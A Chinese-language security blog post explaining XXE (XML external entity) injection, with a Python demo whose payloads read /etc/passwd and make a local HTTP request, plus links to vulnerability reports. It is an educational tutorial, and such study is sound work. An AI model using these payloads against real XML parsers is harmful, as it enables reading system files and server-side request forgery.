virusdefender's blog ʕ•ᴥ•ʔ

xml实体注入xxe

xxe就是xml实体注入,先稍微就说一下XML entity:

entity翻译为"实体"。它的作用类似word中的"宏",也可以理解为DW中的模板,你可以预先定义一个entity,然后在一个文档中多次调用,或者在多个文档中调用同一个entity(XML定义了两种类型的entity。一种是我们这里说的普通entity,在XML文档中使用;另一种是参数entity,在DTD文件中使用。

借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.

这里是一个Python的demo

 1# coding=utf-8
 2import xml.sax
 3
 4x = """<?xml version="1.0" encoding="utf-8"?>
 5<!DOCTYPE xdsec [
 6<!ELEMENT methodname ANY >
 7<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
 8<methodcall>
 9<methodname>&xxe;</methodname>
10</methodcall>
11"""
12
13x1 = """<?xml version="1.0" encoding="utf-8"?>
14<!DOCTYPE xdsec [
15<!ELEMENT methodname ANY >
16<!ENTITY xxe SYSTEM "http://127.0.0.1:8005/xml.test" >]>
17<methodcall>
18<methodname>&xxe;</methodname>
19</methodcall>
20"""
21
22
23class MyContentHandler(xml.sax.ContentHandler):
24    def __init__(self):
25        xml.sax.ContentHandler.__init__(self)
26
27    def startElement(self, name, attrs):
28        self.chars = ""
29
30    def endElement(self, name):
31        print name, self.chars
32
33    def characters(self, content):
34        self.chars += content
35
36
37parser = MyContentHandler()
38print xml.sax.parseString(x, parser)
39print xml.sax.parseString(x1, parser)

xml.test的文件内容是字符串Hello

可以看到两个的回显分别是 QQ20150528-2@2x.png QQ20150528-3@2x.png

其中下面的这个能看到实际请求了这个地址,还可能造成ssrf QQ20150528-1@2x.png

其实还有一个demo,可以将读取的文件发送出来,可以用于没有回显的场景下,作者是使用的php,我用Python但是暂时没测试成功,稍后再发出来。

wooyun上现有的典型漏洞

http://www.wooyun.org/bugs/wooyun-2010-059911

http://www.wooyun.org/bugs/wooyun-2010-073321

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全